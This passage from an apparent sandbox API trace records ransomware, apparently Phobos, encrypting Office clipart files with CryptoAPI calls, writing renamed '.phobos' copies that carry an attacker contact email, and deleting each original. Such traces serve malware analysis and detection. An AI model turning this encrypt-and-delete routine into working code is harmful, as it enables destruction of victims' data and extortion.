pbData=0x37af8b0, dwFlags=0x0) returned 1 [0058.562] ReadFile (in: hFile=0x304, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x1e7c, lpOverlapped=0x0) returned 1 [0058.725] CryptEncrypt (in: hKey=0x10dc550, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x1e80, dwBufLen=0x1e80 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x1e80) returned 1 [0058.725] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x1e80, lpOverlapped=0x0) returned 1 [0058.725] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc610) returned 1 [0058.725] CryptSetKeyParam (hKey=0x10dc610, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0058.725] CryptEncrypt (in: hKey=0x10dc610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0058.725] CryptDestroyKey (hKey=0x10dc610) returned 1 [0058.726] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0058.726] CryptDestroyKey (hKey=0x10dc550) returned 1 [0058.726] CloseHandle (hObject=0x304) returned 1 [0058.726] CloseHandle (hObject=0x310) returned 1 [0058.726] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf")) returned 1 [0058.727] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0058.727] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0058.728] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=4296) returned 1 [0058.728] CloseHandle (hObject=0x310) returned 1 [0058.728] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf")) returned 0x220 [0058.728] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0058.728] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0058.728] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0058.728] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0058.728] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0058.728] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc9d0) returned 1 [0058.728] CryptSetKeyParam (hKey=0x10dc9d0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0058.728] ReadFile (in: hFile=0x310, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x10c8, lpOverlapped=0x0) returned 1 [0058.740] CryptEncrypt (in: hKey=0x10dc9d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x10d0, dwBufLen=0x10d0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x10d0) returned 1 [0058.740] WriteFile (in: hFile=0x304, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x10d0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x10d0, lpOverlapped=0x0) returned 1 [0058.741] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc790) returned 1 [0058.741] CryptSetKeyParam (hKey=0x10dc790, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0058.741] CryptEncrypt (in: hKey=0x10dc790, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0058.741] CryptDestroyKey (hKey=0x10dc790) returned 1 [0058.741] WriteFile (in: hFile=0x304, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0058.741] CryptDestroyKey (hKey=0x10dc9d0) returned 1 [0058.741] CloseHandle (hObject=0x310) returned 1 [0058.742] CloseHandle (hObject=0x304) returned 1 [0058.742] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf")) returned 1 [0058.743] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0058.743] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0058.743] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=4808) returned 1 [0058.744] CloseHandle (hObject=0x304) returned 1 [0058.744] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf")) returned 0x220 [0058.744] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0058.744] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0058.744] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0058.744] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0058.744] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0058.744] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dcbd0) returned 1 [0058.744] CryptSetKeyParam (hKey=0x10dcbd0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0058.744] ReadFile (in: hFile=0x304, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x12c8, lpOverlapped=0x0) returned 1 [0058.754] CryptEncrypt (in: hKey=0x10dcbd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x12d0, dwBufLen=0x12d0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x12d0) returned 1 [0058.754] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x12d0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x12d0, lpOverlapped=0x0) returned 1 [0058.757] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc650) returned 1 [0058.757] CryptSetKeyParam (hKey=0x10dc650, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0058.757] CryptEncrypt (in: hKey=0x10dc650, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0058.757] CryptDestroyKey (hKey=0x10dc650) returned 1 [0058.757] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0058.757] CryptDestroyKey (hKey=0x10dcbd0) returned 1 [0058.757] CloseHandle (hObject=0x304) returned 1 [0058.757] CloseHandle (hObject=0x310) returned 1 [0058.758] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf")) returned 1 [0058.759] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0058.759] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0058.759] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=5004) returned 1 [0058.759] CloseHandle (hObject=0x310) returned 1 [0058.759] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf")) returned 0x220 [0058.759] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0058.759] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0058.759] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0058.760] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0058.760] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0058.760] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc810) returned 1 [0058.760] CryptSetKeyParam (hKey=0x10dc810, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0058.760] ReadFile (in: hFile=0x310, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x138c, lpOverlapped=0x0) returned 1 [0058.769] CryptEncrypt (in: hKey=0x10dc810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x1390, dwBufLen=0x1390 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x1390) returned 1 [0058.769] WriteFile (in: hFile=0x304, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x1390, lpOverlapped=0x0) returned 1 [0058.770] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc850) returned 1 [0058.770] CryptSetKeyParam (hKey=0x10dc850, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0058.770] CryptEncrypt (in: hKey=0x10dc850, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0058.770] CryptDestroyKey (hKey=0x10dc850) returned 1 [0058.770] WriteFile (in: hFile=0x304, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0058.770] CryptDestroyKey (hKey=0x10dc810) returned 1 [0058.770] CloseHandle (hObject=0x310) returned 1 [0058.771] CloseHandle (hObject=0x304) returned 1 [0058.771] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf")) returned 1 [0058.772] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0058.772] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0058.772] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=26886) returned 1 [0058.772] CloseHandle (hObject=0x304) returned 1 [0058.772] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf")) returned 0x220 [0058.772] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0058.772] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0058.772] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0058.773] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0058.773] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0058.773] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc9d0) returned 1 [0058.773] CryptSetKeyParam (hKey=0x10dc9d0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0058.773] ReadFile (in: hFile=0x304, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x6906, lpOverlapped=0x0) returned 1 [0058.791] CryptEncrypt (in: hKey=0x10dc9d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x6910, dwBufLen=0x6910 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x6910) returned 1 [0058.791] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x6910, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x6910, lpOverlapped=0x0) returned 1 [0058.792] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc610) returned 1 [0058.792] CryptSetKeyParam (hKey=0x10dc610, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0058.792] CryptEncrypt (in: hKey=0x10dc610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0058.792] CryptDestroyKey (hKey=0x10dc610) returned 1 [0058.792] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0058.792] CryptDestroyKey (hKey=0x10dc9d0) returned 1 [0058.792] CloseHandle (hObject=0x304) returned 1 [0058.792] CloseHandle (hObject=0x310) returned 1 [0058.793] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf")) returned 1 [0058.794] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0058.794] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0058.794] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=11636) returned 1 [0058.794] CloseHandle (hObject=0x310) returned 1 [0058.794] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf")) returned 0x220 [0058.794] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0058.794] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0058.795] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0058.795] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0058.795] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0058.795] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc950) returned 1 [0058.795] CryptSetKeyParam (hKey=0x10dc950, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0058.795] ReadFile (in: hFile=0x310, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x2d74, lpOverlapped=0x0) returned 1 [0058.802] CryptEncrypt (in: hKey=0x10dc950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x2d80, dwBufLen=0x2d80 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x2d80) returned 1 [0058.802] WriteFile (in: hFile=0x304, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x2d80, lpOverlapped=0x0) returned 1 [0058.803] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc6d0) returned 1 [0058.803] CryptSetKeyParam (hKey=0x10dc6d0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0058.803] CryptEncrypt (in: hKey=0x10dc6d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0058.803] CryptDestroyKey (hKey=0x10dc6d0) returned 1 [0058.803] WriteFile (in: hFile=0x304, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0058.803] CryptDestroyKey (hKey=0x10dc950) returned 1 [0058.803] CloseHandle (hObject=0x310) returned 1 [0058.803] CloseHandle (hObject=0x304) returned 1 [0058.803] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf")) returned 1 [0058.804] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0058.804] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0058.805] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=16180) returned 1 [0058.805] CloseHandle (hObject=0x304) returned 1 [0058.805] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft 